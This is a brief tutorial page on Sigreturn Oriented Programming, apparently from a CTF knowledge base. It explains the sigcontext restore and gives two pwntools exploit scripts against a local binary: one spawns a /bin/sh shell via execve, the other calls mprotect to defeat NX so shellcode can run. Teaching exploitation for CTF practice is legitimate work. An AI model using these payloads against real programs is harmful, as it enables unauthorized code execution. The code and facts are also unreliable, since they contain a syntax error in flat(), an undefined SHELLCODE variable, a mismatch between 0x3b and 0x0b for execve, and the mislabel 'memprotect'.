Sigreturn Oriented Programming - SROP

A syscall to rule them all

A sigreturn is a special type of syscall.

When this instruction is executed, the kernel reads the values of the registers and the stack pointer from a structure that is stored on the stack. This structure is typically referred to as a "signal context" or "sigcontext" structure.

Once the signal is unblocked, all the values are popped in order to restore the original registers values.

Exploitation

At the end of the sigreturn instruction, the sigcontext is popped in order to restore the registers. If the stack is controlled (using buffer overflow for example), all the registers can be controlled as well.

In order to work, this technique need a gadget that make : syscall ; ret

Sigreturn-oriented programming (SROP) is a technique similar to return-oriented programming (ROP), since it will use gadget in order to execute a sigreturn. However, often just few gadget is needed to successfully put this attack into effect.

An execve call can be done by injected values into the registers using sigreturn :

Registervalue

rip

syscall instruction address

eax

0x3b (execve syscall)

ebx

address of /bin/sh

ecx

0x0 (NULL)

edx

0x0 (NULL)

This can be done using pwntool :

from pwn import *

elf = context.binary = ELF('./chall', checksec=False)
p = process()

BINSH = elf.address + 0x1242
POP_EAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.eax = 0x0b            # syscall number for execve
frame.ebx = BINSH           # pointer to /bin/sh
frame.ecx = 0x0             # NULL
frame.edx = 0x0             # NULL
frame.eip = SYSCALL_RET

payload = flat( b'A' * 8;
                POP_EAX,
                0x77,      # syscall number for sigreturn
                SYSCALL_RET,
                frame
                )

p.sendline(payload)
p.interactive()

Disable stack protection

Using sigreturn it's also possible to disable le flag NX :

from pwn import *

elf = context.binary = ELF('./chall', checksec=False)
p = process()

BINSH = elf.address + 0x1242
POP_EAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.eax = 0x7d            # syscall number for memprotect
frame.ebx = SHELLCODE           # address where the shellcode will be injected
frame.ecx = 0x1000             # memory length
frame.edx = 0x07            # flag
frame.eip = SYSCALL_RET

payload = flat( b'A' * 8;
                POP_EAX,
                0x77,      # syscall number for sigreturn
                SYSCALL_RET,
                frame
                )

p.sendline(payload)
p.interactive()

Using this, if there is a possible injection at the targeted memory, the injected shellcode will be executed even if NX has been setup.

Last updated